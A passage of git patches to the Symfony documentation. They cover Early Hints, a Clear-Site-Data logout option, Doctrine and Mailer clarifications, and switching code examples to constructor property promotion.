-            $configurator->extension('framework', [
+            $containerConfigurator->extension('framework', [
                 'uid' => [
                     'default_uuid_version' => 6,
                     'name_based_uuid_version' => 5,
@@ -152,8 +150,6 @@ configure the behavior of the factory using configuration files::
 Then, you can inject the factory in your services and use it to generate UUIDs based
 on the configuration you defined::
 
-    <?php
-
     namespace App\Service;
 
     use Symfony\Component\Uid\Factory\UuidFactory;
@@ -367,8 +363,6 @@ following methods to create a ``Ulid`` object from it::
 
 Like UUIDs, ULIDs have their own factory, ``UlidFactory``, that can be used to generate them::
 
-    <?php
-
     namespace App\Service;
 
     use Symfony\Component\Uid\Factory\UlidFactory;
diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 810cc271a2b..ea52252b3cc 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -75,7 +75,6 @@ following class hierarchy::
 When exporting the ``ConcreteClass`` data with VarExporter, the generated PHP
 file looks like this::
 
-    <?php
     return \Symfony\Component\VarExporter\Internal\Hydrator::hydrate(
         $o = [
             clone (\Symfony\Component\VarExporter\Internal\Registry::$prototypes['Symfony\\Component\\VarExporter\\Tests\\ConcreteClass'] ?? \Symfony\Component\VarExporter\Internal\Registry::p('Symfony\\Component\\VarExporter\\Tests\\ConcreteClass')),
diff --git a/page_creation.rst b/page_creation.rst
index 32586b802c1..7cef4a9781c 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -44,7 +44,6 @@ Suppose you want to create a page - ``/lucky/number`` - that generates a lucky (
 random) number and prints it. To do that, create a "Controller" class and a
 "controller" method inside of it::
 
-    <?php
     // src/Controller/LuckyController.php
     namespace App\Controller;
 
diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index 7135c6b3ecd..a9b101016ea 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -154,7 +154,6 @@ Rich API Support
 
 Are you building an API? You can already return JSON from any controller::
 
-    <?php
     // src/Controller/DefaultController.php
     namespace App\Controller;
 
@@ -191,7 +190,6 @@ But like usual, we can immediately start using the new library. Want to create a
 rich API for a ``product`` table? Create a ``Product`` entity and give it the
 ``@ApiResource()`` annotation::
 
-    <?php
     // src/Entity/Product.php
     namespace App\Entity;
 
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 5899a73bc66..909dac32193 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -21,7 +21,6 @@ Want a logging system? No problem:
 This installs and configures (via a recipe) the powerful `Monolog`_ library. To
 use the logger in a controller, add a new argument type-hinted with ``LoggerInterface``::
 
-    <?php
     // src/Controller/DefaultController.php
     namespace App\Controller;
 
@@ -87,7 +86,6 @@ To keep your code organized, you can even create your own services! Suppose you
 want to generate a random greeting (e.g. "Hello", "Yo", etc). Instead of putting
 this code directly in your controller, create a new class::
 
-    <?php
     // src/GreetingGenerator.php
     namespace App;
 
@@ -104,7 +102,6 @@ this code directly in your controller, create a new class::
 
 Great! You can use this immediately in your controller::
 
-    <?php
     // src/Controller/DefaultController.php
     namespace App\Controller;
 
@@ -168,7 +165,6 @@ by creating an event subscriber or a security voter for complex authorization
 rules. Let's add a new filter to Twig called ``greet``. How? Create a class
 that extends ``AbstractExtension``::
 
-    <?php
     // src/Twig/GreetExtension.php
     namespace App\Twig;
 
diff --git a/quick_tour/the_big_picture.rst b/quick_tour/the_big_picture.rst
index b6ad8eaafdd..7905a6fcbe0 100644
--- a/quick_tour/the_big_picture.rst
+++ b/quick_tour/the_big_picture.rst
@@ -80,7 +80,6 @@ doesn't exist yet, so let's create it!
 In ``src/Controller``, create a new ``DefaultController`` class and an ``index``
 method inside::
 
-    <?php
     // src/Controller/DefaultController.php
     namespace App\Controller;
 
@@ -176,7 +175,6 @@ This works just like before! But by using annotations, the route and controller
 live right next to each other. Need another page? Add another route and method
 in ``DefaultController``::
 
-    <?php
     // src/Controller/DefaultController.php
     namespace App\Controller;
 

From 2d2cda46cff04de5562b40164f67303c972d8f8a Mon Sep 17 00:00:00 2001
From: linuxprocess <40915844+linuxprocess@users.noreply.github.com>
Date: Thu, 9 Mar 2023 18:01:53 +0100
Subject: [PATCH 3058/5766] Update reverse_engineering.rst

Precision for making it clear that "make:entity" does not permit to reverse-engineer a database to an entity
---
 doctrine/reverse_engineering.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst
index a80d6fa91c0..f6df2a87a9e 100644
--- a/doctrine/reverse_engineering.rst
+++ b/doctrine/reverse_engineering.rst
@@ -9,8 +9,11 @@ How to Generate Entities from an Existing Database
     The ``doctrine:mapping:import`` command used to generate Doctrine entities
     from existing databases was deprecated by Doctrine in 2019 and it's no
     longer recommended to use it.
+    
+    As of march,2023 there is no replacement.
 
     Instead, you can use the ``make:entity`` command from `Symfony Maker Bundle`_
     to quickly generate the Doctrine entities of your application.
+    But it does not permit generating entities from existing database.
 
 .. _`Symfony Maker Bundle`: https://symfony.com/bundles/SymfonyMakerBundle/current/index.html

From 6192540081d9d9b756866378e469946ebb49eb67 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Mar 2023 15:44:28 +0100
Subject: [PATCH 3059/5766] Minor reword

---
 doctrine/reverse_engineering.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst
index f6df2a87a9e..278eda204ed 100644
--- a/doctrine/reverse_engineering.rst
+++ b/doctrine/reverse_engineering.rst
@@ -7,13 +7,12 @@ How to Generate Entities from an Existing Database
 .. caution::
 
     The ``doctrine:mapping:import`` command used to generate Doctrine entities
-    from existing databases was deprecated by Doctrine in 2019 and it's no
-    longer recommended to use it.
-    
-    As of march,2023 there is no replacement.
+    from existing databases was deprecated by Doctrine in 2019 and there's no
+    replacement for it.
 
     Instead, you can use the ``make:entity`` command from `Symfony Maker Bundle`_
-    to quickly generate the Doctrine entities of your application.
-    But it does not permit generating entities from existing database.
+    to help you generate the code of your Doctrine entities. This command
+    requires manual supervision because it doesn't generate entities from
+    existing databases.
 
 .. _`Symfony Maker Bundle`: https://symfony.com/bundles/SymfonyMakerBundle/current/index.html

From 15a408f9639469dde19dce6e932204da3c83439d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 13 Mar 2023 22:15:41 +0100
Subject: [PATCH 3060/5766] [HttpFoundation] Add support for the 103 status
 code

---
 controller.rst | 52 ++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 52 insertions(+)

diff --git a/controller.rst b/controller.rst
index 98b59702537..b88ca4dcd63 100644
--- a/controller.rst
+++ b/controller.rst
@@ -538,6 +538,57 @@ The ``file()`` helper provides some arguments to configure its behavior::
         return $this->file('invoice_3241.pdf', 'my_invoice.pdf', ResponseHeaderBag::DISPOSITION_INLINE);
     }
 
+Sending Early Hints
+~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.3
+
+    The Early Hints helper of the ``AbstractController`` was introduced
+    in Symfony 6.3.
+
+Early hints allow to tell user's browser to start downloading some assets
+even before sending the response content. Thanks to this, the browser is able
+to prefetch resources that will be needed once the full response is finally sent.
+These resources are commonly Javascript or CSS files, but it can be any type of
+resource.
+
+.. note::
+
+    In order to work, the SAPI you're using must support this feature, like
+    `FrankenPHP`_.
+
+You can send early hints from your controller action thanks to the
+:method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::sendEarlyHints`
+method::
+
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\WebLink\Link;
+
+    class HomepageController extends AbstractController
+    {
+        #[Route("/", name: "homepage")]
+        public function index(): Response
+        {
+            $response = $this->sendEarlyHints([
+                (new Link(href: '/style.css'))->withAttribute('as', 'stylesheet'),
+                (new Link(href: '/script.js'))->withAttribute('as', 'script'),
+            ]);
+
+            // Do something slow...
+
+            return $this->render('homepage/index.html.twig', response: $response);
+        }
+    }
+
+The ``sendEarlyHints`` method will send a first informational response to the
+web browser with a 103 status code. If it supports it, the browser will start
+to download ``style.css`` and ``script.js`` while you're generating the response
+full content.
+
 Final Thoughts
 --------------
 
@@ -577,3 +628,4 @@ Learn more about Controllers
 
 .. _`Symfony Maker`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
 .. _`unvalidated redirects security vulnerability`: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html
+.. _`FrankenPHP`: https://frankenphp.dev

From 1ab4d04b20438f01bb9db2ba300a9a70068468fa Mon Sep 17 00:00:00 2001
From: Maximilian Beckers <beckers.maximilian@gmail.com>
Date: Tue, 14 Mar 2023 08:10:44 +0100
Subject: [PATCH 3061/5766] [Security] Add logout configuration for
 Clear-Site-Data header

---
 reference/configuration/security.rst | 66 ++++++++++++++++++++++++++++
 1 file changed, 66 insertions(+)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index f0f28a00180..73c303aed79 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -428,6 +428,72 @@ user logs out::
             ],
         ]);
 
+clear_site_data
+~~~~~~~~~~~~~~~
+
+**type**: ``array`` **default**: ``[]``
+
+The Clear-Site-Data header clears browsing data (cookies, storage, cache) associated with the requesting website.
+It allows web developers to have more control over the data stored by a client browser for their origins.
+Allowed values are ``cache``, ``cookies``, ``storage`` and ``executionContexts``.
+And it's possible to use ``*`` as a wildcard for all directives::
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    logout:
+                        clear_site_data:
+                            - cookies
+                            - storage
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- ... -->
+                    <logout>
+                        <clear-site-data>cookies</clear-site-data>
+                        <clear-site-data>storage</clear-site-data>
+                    </logout>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        $container->loadFromExtension('security', [
+            // ...
+            'firewalls' => [
+                'main' => [
+                    'logout' => [
+                        'clear-site-data' => [
+                            'cookies',
+                            'storage',
+                        ],
+                    ],
+                ],
+            ],
+        ]);
+
 invalidate_session
 ~~~~~~~~~~~~~~~~~~
 

From 82606fe6c47519f59c5d674c11b332d606c881c3 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Tue, 21 Feb 2023 17:29:50 +0100
Subject: [PATCH 3062/5766] [Mailer] add more info for debugging

---
 mailer.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index cd1eb8e0e68..2fde6ceb077 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -663,6 +663,12 @@ provides access to the original message (``getOriginalMessage()``) and to some
 debug information (``getDebug()``) such as the HTTP calls done by the HTTP
 transports, which is useful to debug errors.
 
+.. note::
+
+    You will need to replace :class:`Symfony\\Component\\Mailer\\MailerInterface`
+    with :class:`Symfony\\Component\\Mailer\\Transport\\TransportInterface` to have
+    the message object returned.
+
 .. note::
 
     Some mailer providers change the ``Message-Id`` when sending the email. The

From 2b8bbfe05fcf3b529c948aaf0a1db827441d3148 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 15 Mar 2023 11:17:16 +0100
Subject: [PATCH 3063/5766] Tweak

---
 mailer.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 2fde6ceb077..68bcaf297bc 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -665,9 +665,9 @@ transports, which is useful to debug errors.
 
 .. note::
 
-    You will need to replace :class:`Symfony\\Component\\Mailer\\MailerInterface`
-    with :class:`Symfony\\Component\\Mailer\\Transport\\TransportInterface` to have
-    the message object returned.
+    If your code used :class:`Symfony\\Component\\Mailer\\MailerInterface`, you
+    need to replace it by :class:`Symfony\\Component\\Mailer\\Transport\\TransportInterface`
+    to have the ``SentMessage`` object returned.
 
 .. note::
 

From 05d01942e41c9f13fd4364dcbdc72758b59b9452 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 15 Mar 2023 15:48:31 +0100
Subject: [PATCH 3064/5766] Tweaks

---
 controller.rst | 26 ++++++++++++++++----------
 1 file changed, 16 insertions(+), 10 deletions(-)

diff --git a/controller.rst b/controller.rst
index b88ca4dcd63..613af3dda0d 100644
--- a/controller.rst
+++ b/controller.rst
@@ -545,16 +545,18 @@ Sending Early Hints
 
     The Early Hints helper of the ``AbstractController`` was introduced
     in Symfony 6.3.
+.. _`Early hints`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/103
+.. _`SAPI`: https://www.php.net/manual/en/function.php-sapi-name.php
 
-Early hints allow to tell user's browser to start downloading some assets
-even before sending the response content. Thanks to this, the browser is able
-to prefetch resources that will be needed once the full response is finally sent.
-These resources are commonly Javascript or CSS files, but it can be any type of
-resource.
+`Early hints`_ tell the browser to start downloading some assets even before the
+application sends the response content. This improves perceived performance
+because the browser can prefetch resources that will be needed once the full
+response is finally sent. These resources are commonly Javascript or CSS files,
+but they can be any type of resource.
 
 .. note::
 
-    In order to work, the SAPI you're using must support this feature, like
+    In order to work, the `SAPI`_ you're using must support this feature, like
     `FrankenPHP`_.
 
 You can send early hints from your controller action thanks to the
@@ -584,10 +586,14 @@ method::
         }
     }
 
-The ``sendEarlyHints`` method will send a first informational response to the
-web browser with a 103 status code. If it supports it, the browser will start
-to download ``style.css`` and ``script.js`` while you're generating the response
-full content.
+Technically, Early Hints are an informational HTTP response with the status code
+``103``. The ``sendEarlyHints()`` method creates a ``Response`` object with that
+status code and sends its headers immediately.
+
+This way, browsers can start downloading the assets immediately; like the
+``style.css`` and ``script.js`` files in the above example). The
+``sendEarlyHints()`` method also returns the ``Response`` object, which you
+must use to create the full response sent from the controller action.
 
 Final Thoughts
 --------------

From d1da6ba5e9ae14c43c26722f448b6dd4bfbc1382 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 15 Mar 2023 15:50:16 +0100
Subject: [PATCH 3065/5766] Fix the reference links

---
 controller.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller.rst b/controller.rst
index 613af3dda0d..9c3e47f6d1d 100644
--- a/controller.rst
+++ b/controller.rst
@@ -545,8 +545,6 @@ Sending Early Hints
 
     The Early Hints helper of the ``AbstractController`` was introduced
     in Symfony 6.3.
-.. _`Early hints`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/103
-.. _`SAPI`: https://www.php.net/manual/en/function.php-sapi-name.php
 
 `Early hints`_ tell the browser to start downloading some assets even before the
 application sends the response content. This improves perceived performance
@@ -634,4 +632,6 @@ Learn more about Controllers
 
 .. _`Symfony Maker`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
 .. _`unvalidated redirects security vulnerability`: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html
+.. _`Early hints`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/103
+.. _`SAPI`: https://www.php.net/manual/en/function.php-sapi-name.php
 .. _`FrankenPHP`: https://frankenphp.dev

From d173ef3baa4e1e0dc4e520c5268fbe53a955295d Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 15 Mar 2023 10:46:04 +0100
Subject: [PATCH 3066/5766] mention french inflector and interface in String
 doc

---
 components/string.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/string.rst b/components/string.rst
index 57628644fdf..696b692cd13 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -649,6 +649,12 @@ class to convert English words from/to singular/plural with confidence::
 The value returned by both methods is always an array because sometimes it's not
 possible to determine a unique singular/plural form for the given word.
 
+.. note::
+
+    Symfony also provide a :class:`Symfony\\Component\\String\\Inflector\\FrenchInflector`
+    and an :class:`Symfony\\Component\\String\\Inflector\\InflectorInterface` to implements
+    if you need to use your own inflector.
+
 .. _`ASCII`: https://en.wikipedia.org/wiki/ASCII
 .. _`Unicode`: https://en.wikipedia.org/wiki/Unicode
 .. _`Code points`: https://en.wikipedia.org/wiki/Code_point

From 5d4931424e7038320f08250d53e99c139cc842fd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 15 Mar 2023 16:08:11 +0100
Subject: [PATCH 3067/5766] Tweak

---
 components/string.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index 696b692cd13..51516bc908d 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -651,9 +651,9 @@ possible to determine a unique singular/plural form for the given word.
 
 .. note::
 
-    Symfony also provide a :class:`Symfony\\Component\\String\\Inflector\\FrenchInflector`
-    and an :class:`Symfony\\Component\\String\\Inflector\\InflectorInterface` to implements
-    if you need to use your own inflector.
+    Symfony also provides a :class:`Symfony\\Component\\String\\Inflector\\FrenchInflector`
+    and an :class:`Symfony\\Component\\String\\Inflector\\InflectorInterface` if
+    you need to implement your own inflector.
 
 .. _`ASCII`: https://en.wikipedia.org/wiki/ASCII
 .. _`Unicode`: https://en.wikipedia.org/wiki/Unicode

From d887b5aa049df04b009badcf5c8f141b36d2e28e Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Tue, 14 Mar 2023 16:17:22 +0100
Subject: [PATCH 3068/5766] Update create_custom_field_type.rst

Adding return type for setNormalizer callback function
---
 form/create_custom_field_type.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 2998a763445..97971516de3 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -271,7 +271,8 @@ to define, validate and process their values::
 
             // optionally you can transform the given values for the options to
             // simplify the further processing of those options
-            $resolver->setNormalizer('allowed_states', static function (Options $options, $states) {
+            $resolver->setNormalizer('allowed_states', static function (Options $options, $states): ?array 
+            {
                 if (null === $states) {
                     return $states;
                 }

From 3bb31cf8f32505ef859b05b5901e1a4a82b44d26 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 11 Mar 2023 11:24:53 +0100
Subject: [PATCH 3069/5766] [DependencyInjection] Use constructor property
 promotion (CPP)

---
 cache.rst                                   |  8 ++--
 components/console/logger.rst               |  8 ++--
 components/dependency_injection.rst         | 16 +++-----
 components/event_dispatcher.rst             |  8 ++--
 components/http_foundation.rst              |  8 ++--
 components/lock.rst                         | 11 ++---
 components/messenger.rst                    | 22 ++++------
 components/phpunit_bridge.rst               |  8 ++--
 components/property_info.rst                |  7 ++--
 components/runtime.rst                      | 11 ++---
 components/serializer.rst                   | 29 +++++--------
 components/string.rst                       |  8 ++--
 components/uid.rst                          | 10 +++--
 configuration.rst                           |  8 ++--
 console.rst                                 |  9 ++---
 console/commands_as_services.rst            |  9 ++---
 contributing/code/standards.rst             |  8 ++--
 controller/service.rst                      |  8 ++--
 controller/upload_file.rst                  | 11 ++---
 create_framework/event_dispatcher.rst       | 28 +++++--------
 create_framework/separation_of_concerns.rst | 14 +++----
 create_framework/unit_testing.rst           | 14 +++----
 event_dispatcher.rst                        | 27 +++++--------
 form/create_custom_field_type.rst           |  8 ++--
 form/data_mappers.rst                       | 14 +++----
 form/data_transformers.rst                  | 23 +++++------
 form/dynamic_form_modification.rst          | 16 +++-----
 form/use_empty_data.rst                     |  8 ++--
 form/validation_group_service_resolver.rst  | 20 ++++-----
 frontend/custom_version_strategy.rst        | 23 +++--------
 http_client.rst                             | 32 ++++++---------
 logging/channels_handlers.rst               |  8 ++--
 messenger.rst                               | 24 +++++------
 messenger/custom-transport.rst              | 10 ++---
 messenger/dispatch_after_current_bus.rst    | 22 ++++------
 messenger/handler_results.rst               | 12 +++---
 notifier.rst                                | 16 +++-----
 performance.rst                             |  8 ++--
 profiler.rst                                |  9 +++--
 quick_tour/the_architecture.rst             | 10 +++--
 routing.rst                                 | 10 +++--
 security.rst                                | 30 ++++++--------
 security/access_denied_handler.rst          |  8 ++--
 security/custom_authenticator.rst           |  8 ++--
 security/impersonating_user.rst             | 16 +++-----
 security/voters.rst                         |  8 ++--
 serializer/custom_normalizer.rst            | 11 ++---
 service_container.rst                       | 45 +++++++++------------
 service_container/autowiring.rst            | 32 +++++++--------
 service_container/configurators.rst         |  8 ++--
 service_container/injection_types.rst       |  8 ++--
 service_container/parent_services.rst       |  7 ++--
 service_container/request.rst               |  8 ++--
 service_container/service_closures.rst      | 10 ++---
 service_container/service_decoration.rst    | 40 +++++++-----------
 service_container/tags.rst                  |  8 ++--
 session.rst                                 | 25 +++++-------
 templates.rst                               |  8 ++--
 testing/database.rst                        |  8 ++--
 translation.rst                             |  8 ++--
 validation/custom_constraint.rst            |  9 +++--
 workflow.rst                                | 20 ++++-----
 workflow/workflow-and-state-machine.rst     | 16 +++-----
 63 files changed, 356 insertions(+), 548 deletions(-)

diff --git a/cache.rst b/cache.rst
index 3e4ef354712..a82bc64cd04 100644
--- a/cache.rst
+++ b/cache.rst
@@ -552,12 +552,10 @@ the same key could be invalidated with one function call::
 
     class SomeClass
     {
-        private $myCachePool;
-
         // using autowiring to inject the cache pool
-        public function __construct(TagAwareCacheInterface $myCachePool)
-        {
-            $this->myCachePool = $myCachePool;
+        public function __construct(
+            private TagAwareCacheInterface $myCachePool,
+        ) {
         }
 
         public function someMethod()
diff --git a/components/console/logger.rst b/components/console/logger.rst
index 25fce56d7d9..2e5319c8d6b 100644
--- a/components/console/logger.rst
+++ b/components/console/logger.rst
@@ -19,11 +19,9 @@ PSR-3 compliant logger::
 
     class MyDependency
     {
-        private $logger;
-
-        public function __construct(LoggerInterface $logger)
-        {
-            $this->logger = $logger;
+        public function __construct(
+            private LoggerInterface $logger,
+        ) {
         }
 
         public function doStuff()
diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index 1e72d67d589..0ece9640048 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -58,11 +58,9 @@ so this is passed into the constructor::
 
     class Mailer
     {
-        private $transport;
-
-        public function __construct($transport)
-        {
-            $this->transport = $transport;
+        public function __construct(
+            private $transport,
+        ) {
         }
 
         // ...
@@ -99,11 +97,9 @@ like this::
 
     class NewsletterManager
     {
-        private $mailer;
-
-        public function __construct(\Mailer $mailer)
-        {
-            $this->mailer = $mailer;
+        public function __construct(
+            private \Mailer $mailer,
+        ) {
         }
 
         // ...
diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 8561a7e08b4..bf6dea56b7e 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -296,11 +296,9 @@ order. Start by creating this custom event class and documenting it::
     {
         public const NAME = 'order.placed';
 
-        protected $order;
-
-        public function __construct(Order $order)
-        {
-            $this->order = $order;
+        public function __construct(
+            protected Order $order,
+        ) {
         }
 
         public function getOrder(): Order
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index f0d02f2da06..3e7a45d0207 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -790,11 +790,9 @@ methods. You can inject this as a service anywhere in your application::
 
     class UserApiNormalizer
     {
-        private UrlHelper $urlHelper;
-
-        public function __construct(UrlHelper $urlHelper)
-        {
-            $this->urlHelper = $urlHelper;
+        public function __construct(
+            private UrlHelper $urlHelper,
+        ) {
         }
 
         public function normalize($user)
diff --git a/components/lock.rst b/components/lock.rst
index 82b8d8d97f8..56d98c2b54c 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -87,13 +87,10 @@ key of the lock::
 
     class RefreshTaxonomy
     {
-        private object $article;
-        private Key $key;
-
-        public function __construct(object $article, Key $key)
-        {
-            $this->article = $article;
-            $this->key = $key;
+        public function __construct(
+            private object $article,
+            private Key $key,
+        ) {
         }
 
         public function getArticle(): object
diff --git a/components/messenger.rst b/components/messenger.rst
index 21b8cabac3e..5e5d0d66877 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -234,13 +234,10 @@ you can create your own message sender::
 
     class ImportantActionToEmailSender implements SenderInterface
     {
-        private $mailer;
-        private $toEmail;
-
-        public function __construct(MailerInterface $mailer, string $toEmail)
-        {
-            $this->mailer = $mailer;
-            $this->toEmail = $toEmail;
+        public function __construct(
+            private MailerInterface $mailer,
+            private string $toEmail,
+        ) {
         }
 
         public function send(Envelope $envelope): Envelope
@@ -286,13 +283,10 @@ do is to write your own CSV receiver::
 
     class NewOrdersFromCsvFileReceiver implements ReceiverInterface
     {
-        private $serializer;
-        private $filePath;
-
-        public function __construct(SerializerInterface $serializer, string $filePath)
-        {
-            $this->serializer = $serializer;
-            $this->filePath = $filePath;
+        public function __construct(
+            private SerializerInterface $serializer,
+            private string $filePath,
+        ) {
         }
 
         public function get(): iterable
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index e57f759374d..cab4a05a2b6 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -952,11 +952,9 @@ Consider the following example::
 
     class Foo
     {
-        private $bar;
-
-        public function __construct(Bar $bar)
-        {
-            $this->bar = $bar;
+        public function __construct(
+            private Bar $bar,
+        ) {
         }
 
         public function fooMethod()
diff --git a/components/property_info.rst b/components/property_info.rst
index 07f4196fe50..ceaf09cfa52 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -431,13 +431,12 @@ information from annotations of properties and methods, such as ``@var``,
     // src/Domain/Foo.php
     class Foo
     {
-        private $bar;
-
         /**
          * @param string $bar
          */
-        public function __construct($bar) {
-            $this->bar = $bar;
+        public function __construct(
+            private $bar,
+        ) {
         }
     }
 
diff --git a/components/runtime.rst b/components/runtime.rst
index 16a3428923f..eb428461105 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -420,13 +420,10 @@ is added in a new class implementing :class:`Symfony\\Component\\Runtime\\Runner
 
     class ReactPHPRunner implements RunnerInterface
     {
-        private $application;
-        private $port;
-
-        public function __construct(RequestHandlerInterface $application, int $port)
-        {
-            $this->application = $application;
-            $this->port = $port;
+        public function __construct(
+            private RequestHandlerInterface $application,
+            private int $port,
+        ) {
         }
 
         public function run(): int
diff --git a/components/serializer.rst b/components/serializer.rst
index 1ff73e32cdd..0d52aa1fb1d 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -610,11 +610,9 @@ processes::
 
     class Person
     {
-        private $firstName;
-
-        public function __construct($firstName)
-        {
-            $this->firstName = $firstName;
+        public function __construct(
+            private $firstName,
+        ) {
         }
 
         public function getFirstName()
@@ -667,12 +665,10 @@ defines a ``Person`` entity with a ``firstName`` property:
 
         class Person
         {
-            #[SerializedName('customer_name')]
-            private $firstName;
-
-            public function __construct($firstName)
-            {
-                $this->firstName = $firstName;
+            public function __construct(
+                #[SerializedName('customer_name')]
+                private $firstName,
+            ) {
             }
 
             // ...
@@ -1605,13 +1601,10 @@ context option::
 
     class MyObj
     {
-        private $foo;
-        private $bar;
-
-        public function __construct($foo, $bar)
-        {
-            $this->foo = $foo;
-            $this->bar = $bar;
+        public function __construct(
+            private $foo,
+            private $bar,
+        ) {
         }
     }
 
diff --git a/components/string.rst b/components/string.rst
index 2fdb608005c..b68066389b7 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -553,11 +553,9 @@ the injected slugger is the same as the request locale::
 
     class MyService
     {
-        private $slugger;
-
-        public function __construct(SluggerInterface $slugger)
-        {
-            $this->slugger = $slugger;
+        public function __construct(
+            private SluggerInterface $slugger,
+        ) {
         }
 
         public function someMethod()
diff --git a/components/uid.rst b/components/uid.rst
index 0b63740b5a1..aa22919dce5 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -161,8 +161,9 @@ on the configuration you defined::
 
     class FooService
     {
-        public function __construct(private UuidFactory $uuidFactory)
-        {
+        public function __construct(
+            private UuidFactory $uuidFactory,
+        ) {
         }
 
         public function generate(): void
@@ -362,8 +363,9 @@ Like UUIDs, ULIDs have their own factory, ``UlidFactory``, that can be used to g
 
     class FooService
     {
-        public function __construct(private UlidFactory $ulidFactory)
-        {
+        public function __construct(
+            private UlidFactory $ulidFactory,
+        ) {
         }
 
         public function generate(): void
diff --git a/configuration.rst b/configuration.rst
index c4f95198142..0812f709c80 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -1065,11 +1065,9 @@ parameters at once by type-hinting any of its constructor arguments with the
 
     class MessageGenerator
     {
-        private $params;
-
-        public function __construct(ContainerBagInterface $params)
-        {
-            $this->params = $params;
+        public function __construct(
+            private ContainerBagInterface $params,
+        ) {
         }
 
         public function someMethod()
diff --git a/console.rst b/console.rst
index c65850b40ec..08741f6b5cc 100644
--- a/console.rst
+++ b/console.rst
@@ -420,12 +420,9 @@ as a service, you can use normal dependency injection. Imagine you have a
 
     class CreateUserCommand extends Command
     {
